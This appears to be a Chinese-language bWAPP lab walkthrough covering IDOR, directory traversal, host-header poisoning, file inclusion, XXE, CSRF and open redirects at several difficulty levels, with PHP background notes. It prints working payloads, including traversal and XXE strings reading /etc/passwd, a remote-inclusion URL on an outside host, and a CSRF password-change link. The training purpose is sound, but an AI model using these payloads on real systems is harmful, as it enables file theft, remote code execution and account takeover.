注:該漏洞似乎無實用價值,因為 cookies 中注入的 XSS 載荷似乎沒有什麼作用。
low 級別:後端對 GET 請求提交上來的 genre 變數不做處理直接將其作為 cookies 新增值返回給前端。
medium 級別:後端對 GET 請求提交上來的 genre 變數進行 htmlspecialchars() 函式(該函式會將各種特殊字元均進行 HTML 實體轉義)的處理,然後作為 cookies 的內容返回前端。
hight 級別:後端對 GET 請求提交上來的 genre 變數在 switch 選擇條件中進行指定字串的匹配,匹配到之後,用匹配的字串的內容作為值建立 cookies 。
A4 - Insecure Direct Object References(IDOR 不安全直接物件引用)
此類漏洞特徵:本該僅在後端才出現並引用的變數,卻參與到了與前端互動的引數之中。
(A4-1)Insecure DOR (Change Secret)
訪問地址:http://192.168.56.19/bWAPP/insecure_direct_object_ref_1.php
low 級別:POST 提交更改當前登入使用者的新密碼之後,body 部分攜帶的引數不僅包含密碼還包含登入使用者名稱,而後端在 sql 語句的拼接中直接使用了 body 部分攜帶上來的 login 引數值。故可以透過更改 login 引數的值達到更改任意使用者的密碼,而非僅僅只是當前使用者的密碼。
medium/hight 級別:POST 提交新密碼時,還會將表單中攜帶的 token 值(每次重新訪問該頁面,後端都會重新生成 token 值並嵌入在返回的 HTML 頁面中)一併提交,而後端會根據 POST 提交上來的 token 值與當前會話的 token 值進行對比,匹配透過後再進行 sql 語句的拼接,拼接中的 login 變數是透過 $login = $_SESSION["login"]
會話獲得,而非 POST 請求 $login = $_REQUEST["login"]
獲得。
(A4-2)Insecure DOR (Reset Secret)
訪問地址:http://192.168.56.19/bWAPP/insecure_direct_object_ref_3.php(點選頁面按鈕之後請求的連結是 http://192.168.56.19/bWAPP/xxe-2.php
)
注:該漏洞頁面與 A7-9 XML External Entity Attacks (XXE) 是同一個頁面,該頁面不僅存在 IDOR 漏洞也存在 XXE 漏洞,故此處不再贅述。
(A4-3)Insecure DOR (Order Tickets)
訪問地址:http://192.168.56.19/bWAPP/insecure_direct_object_ref_2.php
low 級別:頁面表單中包含隱藏的價格標籤,且後端會根據 POST 攜帶的價格和數量變數進行運算。故可以透過修改 POST 中的 ticket_price 變數來調整官方預定的價格。
medium 級別:頁面表單中不再包含隱藏的價格標籤,但是後端依舊會優先考慮 POST 中攜帶 ticket_price 變數。
hight 級別:價格 ticket_price 變數直接在後端全域性程式碼中當做常量賦值,故 POST 中攜帶的 ticket_price 變數不會再影響到官方預定的價格。
A5 - Security Misconfiguration(安全配置錯誤)
偏系統應用,且靶機環境不符合試驗。
A6 - Sensitive Data Exposure(敏感資料暴露)
偏系統應用,且靶機環境不符合試驗。
A7 - Missing Functional Level Access Control(缺少功能級別訪問控制)
(A7-1)Directory Traversal - Directories
訪問地址:http://192.168.56.19/bWAPP/directory_traversal_2.php?directory=documents
low 級別:後端對 GET 請求提交的 directory 變數不做處理。故可以透過載荷 directory=../../../../etc
對 etc 目錄下的檔名稱進行遍歷檢視(但無法檢視文字檔案內容)。
medium 級別:後端對 GET 請求提交的 directory 變數進行 directory_traversal_check_2($data)
自定義函式(該函式會對../、..\\、/..、\..、.
字串進行匹配檢查)的處理。此時可以透過載荷 directory=admin
遍歷 bwapp 根目錄下其他目錄下的檔名稱。
hight 級別:後端對 GET 請求提交的 directory 變數進行 directory_traversal_check_3($user_path,$base_path="./documents")
自定義函式(該函式會對輸入的路徑變數首先進行 realpath() 的處理,然後再進行 $base_path
字串是否包含在 $user_path
字串之中的匹配檢查)的處理。此時 directory 引數的值便只能是 documents 或 documents/subdir 這樣的格式,當然如果 documents 目錄確實還存在像如 subdir 這樣的子目錄的話。
(A7-2)Directory Traversal - Files
訪問地址:http://192.168.56.19/bWAPP/directory_traversal_1.php?page=message.txt
low 級別:後端對 GET 請求提交的 page 變數不做處理,直接展示其文字內容。故可以透過載荷 page=../../../../etc/passwd
的方式直接檢視其文字內容。
medium 級別:後端對 GET 請求提交的 page 變數進行 directory_traversal_check_1($file)
自定義函式(該函式會對../、..\\、/..、\..
字串進行匹配檢查)的處理。此時可以透過載荷 page=admin/index.php
這樣的方式檢視 bwapp 根目錄下其他目錄下文字檔案的內容。
hight 級別:對帶入的 page 引數值進行 directory_traversal_check_3($file)
自定義函式(由於只帶入了一個引數,故其效果和 medium 的效果類似)的處理。此時可以透過 page=admin/index.php
這樣的方式檢視 bwapp 根目錄下其他目錄下文字檔案的內容。
(A7-3)Host Header Attack (Cache Poisoning)
訪問地址:http://192.168.56.19/bWAPP/hostheader_1.php
low 級別:後端直接將 HTTP 請求頭中的 Host 引數作為一個變數拼接為超連結返回到響應的 html 頁面中。故可以透過修改 Header 引數為 Host:www.baidu.com#
來實現篡改響應頁面中的超連結指向。【若要達到代理伺服器快取毒化,則需要重複多次發起相同的毒化請求,直到代理伺服器中的快取結果被成功替換,如此則可影響大範圍的訪問客戶端。】
medium/hight 級別:後端對於響應要返回的 HTML 中的 js、css 等資源連結使用的是相對路徑的方式,而非 low 級別的絕對 URL 連結格式,因此也就不存在 Host 被攻擊的風險。
(A7-4)Host Header Attack (Reset Poisoning)
訪問地址:http://192.168.56.19/bWAPP/hostheader_2.php
low 級別:在 web 端輸入賬戶對應的郵箱進行重置密碼時,後端會進行重置連結的拼接生成,此時後端會根據請求頭 Host 引數的值作為主機變數拼接到了重置連結中,並郵件告知客戶需要點選該連結進行密碼的重置動作。此時可以透過篡改 Host 的值為攻擊機的 http 伺服器地址,那麼如果使用者點選郵件連結,連結中相關的 token 等重要引數便會被攻擊機所獲取,然後攻擊機拼接正確的主機名便可以實現重置別人密碼的動作。【涉及郵件傳送功能,此試驗無法在靶機中復現。】
medium/hight 級別:後端拼接重置連結時,其中的主機變數已手動指定並未從 Host 引數中去獲取。
注意:並非只要是 Host 攻擊就叫快取毒化,本例的 Reset Poisoning 所要生成的連結是動態的,所以不符合快取毒化的特徵,而符合特徵的則是那些類靜態頁面。
(A7-5)Remote & Local File Inclusion (RFI/LFI)
訪問地址:http://192.168.56.19/bWAPP/rlfi.php?language=lang_en.php&action=go
此類漏洞特徵:平時只在程式碼開頭出現的包含指定檔案函式,出現在了區域性程式碼之中且包含的是一個動態變數而非靜態常量。
low 級別:後端對 GET 請求提交上來的 language 變數不做處理,直接 include($language)
包含。故可以透過載荷 language=http://1.1.1.1/test.php
或 language=../../../../etc/passwd
的方式進行遠端包含或本地包含,且包含的檔案字尾型別不受限制。
medium 級別:後端對 GET 請求提交上來的 language 變數進行 .php 字尾拼接處理後包含。此時依舊可以透過載荷 language=http://1.1.1.1/test
或 language=../admin/index
的方式進行遠端包含或本地包含,只不過被包含的檔案被限制為 php 型別。
hight 級別:後端對 GET 請求提交上來的 language 變數先進行 .php 字尾拼接處理,然後再進行白名單關鍵字的匹配檢查,只有匹配中白名單中的 php 檔案才能被包含處理。此時檔案包含漏洞將不再存在。
(A7-6)Restrict Device Access
訪問地址:http://192.168.56.19/bWAPP/restrict_device_access.php
low/medium/hight 級別:對頁面請求頭中的 User-Agent 引數值進行白名單關鍵字 "iPhone", "iPad", "iPod", "Android" 的檢查。此時可以透過 User-Agent switcher 切換器去修改 User-Agent 引數為 Android 的裝置,便可以訪問到被拒絕的頁面。
(A7-7)Restrict Folder Access
訪問地址:http://192.168.56.19/bWAPP/restrict_folder_access.php
low 級別:頁面所呈現的檔案下載連結是 http://192.168.56.19/bWAPP/documents/bWAPP_intro.pdf
的格式。此時不管 bWAPP 是否登入,只要爆破發現 http://192.168.56.19/bWAPP/documents/
便可下載這些檔案。
medium/hight 級別:頁面所呈現的檔案下載連結是 http://192.168.56.19/bWAPP/restrict_folder_access.php?file=documents/bWAPP_intro.pdf
的格式,點選連結時後端 php 會對帶入的 file 引數進行 directory_traversal_check_3($file, $base_path = "./documents")
函式的檢查,然後透過 php 檔案下載程式碼將請求的檔案內容本地讀取然後傳輸給請求方。
此等級下無法再透過爆破發現 http://192.168.56.19/bWAPP/documents/
便能夠下載這些檔案,因為該頁面在被請求時服務端便初始化檢查並在 documents 目錄下建立 .htaccess 檔案(文字規則的內容是 Deny from all),使得透過 http://192.168.56.19/bWAPP/documents/
這樣的訪問將被拒絕。
(A7-9)XML External Entity Attacks (XXE)
訪問地址:http://192.168.56.19/bWAPP/xxe-1.php【點選按鈕之後,實際請求的地址是 http://192.168.56.19/bWAPP/xxe-2.php 】
low 級別:後端直接讀取 POST 請求中攜帶的 XML 格式的內容,然後透過 simplexml_load_string($body)
函式進行 XML 資料的載入,並將載入的資料不做處理分別讀取賦值給 login、secret 變數,在經過 SQL 語句拼接之後,最後將 login 變數的值不做處理返回到 POST 響應中。此時可以透過 burpsuite 替換 POST 請求中的 XML 內容為 <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file:////etc/passwd">]><reset><login>&bWAPP;</login><secret>blah</secret></reset>
(注意:標黑的這串 XML 標籤格式需根據實際呼叫的 XML 實體變數的情況去調整,此處呼叫的實體變數是 login)來讀取靶機系統 /etc/passwd 檔案中的內容。
medium/hight 級別:後端直接讀取 POST 請求中攜帶的 XML 格式的內容,然後透過 libxml_disable_entity_loader(true); $xml =simplexml_load_string($body)
函式進行 XML 資料的載入,然後再透過 $login = $_SESSION["login"];$secret = $xml->secret;
給兩變數賦值,此時 $login 變數的值是透過 PHP 會話變數賦值的,於是返回的 POST 響應中的使用者的值再也不會受到 POST 請求中提供的 login 變數的影響了。此時 XXE 注入漏洞將不再存在。
A8 - Cross-Site Request Forgery (CSRF 跨站請求偽造)
此類漏洞特徵:一些重要的頁面操作,只使用一個很簡單的請求便完成了,沒有使用 token 或驗證碼這些防濫用技術。
(A8-1)Cross-Site Request Forgery (Change Password)
訪問地址:http://192.168.56.19/bWAPP/csrf_1.php
low 級別:更改密碼錶單隻需要將新密碼和確認密碼輸入,然後提交即可實現密碼更改動作,同時表單請求方法也是 GET 方法。此時可以讓使用者點選透過構造的 URL 連結 http://192.168.56.19/bWAPP/csrf_1.php?password_new=123&password_conf=123&action=change
,即可讓客戶在不知覺中完成密碼的更改。(注意:必須要讓使用者在登入 web 的狀態下點解構造連結,否則即便點選了也不會成功改密。這主要是為了借用使用者的登入 cookies 變數,方便在請求的時候帶入。)
medium/hight 級別:更改密碼錶單額外新增了當前密碼輸入框,後端收到請求後會首先檢驗當前密碼是否正確,然後才進行新密碼更改的動作。此時便無法再使用構造 URL 連結的方式實現使用者無感知改密碼的動作,除非已知曉當前密碼。
(A8-2)Cross-Site Request Forgery (Change Secret)
訪問地址:http://192.168.56.19/bWAPP/csrf_3.php
low 級別:表單只請求輸入修改密碼(使用者名稱被隱藏帶入),然後提交即可,表單請求方法使用了 POST 方法。後端只是將得到的使用者名稱和密碼拼接 sql 語句上,成功執行則認為修改成功。此時可以透過修改表單使用者名稱和密碼來達到登入 A 賬戶修改 B 賬戶的效果;或透過構造一個 POST 請求的網頁讓使用者點選即可讓使用者無感知改密碼。
medium/hight 級別:改密表單嵌入了動態 token 值,這樣的情況下後端會先驗證請求 token 和會話 token 是否符合,符合之後才開始 sql 改密動作。而且這種情況下也防止了登入 A 賬戶可以更改 B 賬戶的這種情況。這種情況下也已無法透過構造簡單的請求來達到使用者無感知改密碼的操作。
(A8-3)Cross-Site Request Forgery (Transfer Amount)
訪問地址:http://192.168.56.19/bWAPP/csrf_2.php
本部分與上面的 A8-2 Cross-Site Request Forgery (Change Secret) 相似都是關於表單有無 token 的區別(無 token 的表單,很容易就被攻擊方做到惡意轉賬的效果),區別僅在於上面表單是 POST 方法而此處是 GET 方法,故此處不再贅述。
A9 - Using Known Vulnerable Components(使用已知漏洞元件)
偏系統應用,且靶機環境不符合試驗。
A10 - Unvalidated Redirects & Forwards(無效重定向&轉發)
注:此類現象似乎並不能算是一種 Web 漏洞,因為其並不能造成危害。
(A10-1)Unvalidated Redirects & Forwards (1)
訪問地址:http://192.168.56.19/bWAPP/unvalidated_redir_fwd_1.php
low 級別:頁面表單中的下拉選單中的每個選項都直接對應其連結地址,當點選提交按鈕時由於表單使用的請求方法是 GET,因此在位址列可以直接看到 url 變數的值即是跳轉的連結,而後端又會將該連結直接作為重定向地址響應給 GET 請求。
medium 級別:頁面表單中的下拉選單中的每個選項對應一個數值,該數值作為 GET 請求傳遞給後端,後端根據該值查詢對應的連結然後將其作為重定向地址響應給 GET 請求。
hight 級別:在 medium 級別的基礎上又新增了一項會話銷燬的功能,即當下拉選中提交 GET 請求之後,頁面跳轉的同時原會話的登入狀態也將失效。
(A10-2)Unvalidated Redirects & Forwards (2)
訪問地址:http://192.168.56.19/bWAPP/unvalidated_redir_fwd_2.php
low 級別:點選跳轉按鈕之後,要跳轉的連結 http://192.168.56.19/bWAPP/unvalidated_redir_fwd_2.php?ReturnUrl=portal.php
。此時可以透過修改前端的按鈕連結 ReturnUrl 引數實現更改。
medium/hight 級別:點選跳轉按鈕之後,要跳轉的連結後端已指定,此時透過修改前端的按鈕連結 ReturnUrl 引數已無作用。
知識碎片
(1)URL 格式說明
(2)PHP 中的全域性陣列包括 $_GET、$_POST、$_REQUEST、$_COOKIE、$_SESSION、$_SERVER、$_FILES、$_ENV、$_GLOBALS
,它們是預定義的超級全域性變數,可在指令碼的任何地方使用。$_GET
和 $_POST
處理透過 HTTP 請求傳遞的引數,$_REQUEST
綜合了 GET、POST 和 COOKIE 資料,$_FILES
處理檔案上傳,$_COOKIE
儲存客戶端的 Cookie,$_SESSION
管理使用者會話,$_SERVER
提供伺服器和執行環境資訊,$_ENV
訪問系統環境變數,$_GLOBALS
引用所有全域性變數。這些陣列為開發者提供了便利的方式來處理請求、使用者資料和伺服器資訊。
(3)PHPSESSID 的作用:多個登入使用者分別同時請求相同的 php 頁面,但後端依舊能夠不發生混亂的按需分配各自的頁面且對應頁面的變數值正確不發生混亂。就是因為後端會根據請求者 cookies 中的 PHPSESSID 取其對應的 $_SESSION
陣列,而每個 $_SESSION
陣列中又儲存著屬於各自使用者的變數值。【注:該值只有後端 PHP 解析器才需要讀取,對於開發者來說並不需要知道】
(4)AJAX (Asynchronous JavaScript and XML)並不是一種程式語言,而是一系列技術的組合(主要就是用 JavaScript 執行非同步網路請求),包括HTML、CSS、JavaScript 和 XML,用於構建更互動的Web應用。
通常一次 HTTP 請求對應一個頁面,而如果要讓使用者留在當前頁面中,同時發出新的 HTTP 請求,就必須用 JavaScript 傳送這個新請求,接收到資料後,再用 JavaScript 更新頁面,這樣一來,使用者就感覺自己仍然停留在當前頁面,但是資料卻可以不斷地更新,這就是 AJAX。
(5)Web 各語言語句的註釋和連線符號。
JavaScript 註釋:單行註釋//
、多行註釋/**/
、語句分割;
HTML 註釋:多行註釋<!--test-->
CSS 註釋:多行註釋/**/
Mysql 註釋:單行註釋--
、單行註釋#
、多行註釋/**/
、語句分割;
(6)shtml 和 html 檔案的區別。
html:是一種靜態的 HTML 程式碼,這些檔案 Web 伺服器會直接提供給瀏覽器,然後由瀏覽器進行渲染。
shtml:是一種動態的 HTML 程式碼,這些檔案在返回給瀏覽器之前,Web 伺服器(apache、nginx)首先會進行解析執行,然後再響應給瀏覽器做渲染。它類似於是一種簡化版的 php 動態語言,但是php 程式碼的解析需要 web 伺服器依賴 php 元件,而shtml 則只需要 web 伺服器本身支援伺服器端包含指令 SSI 即可。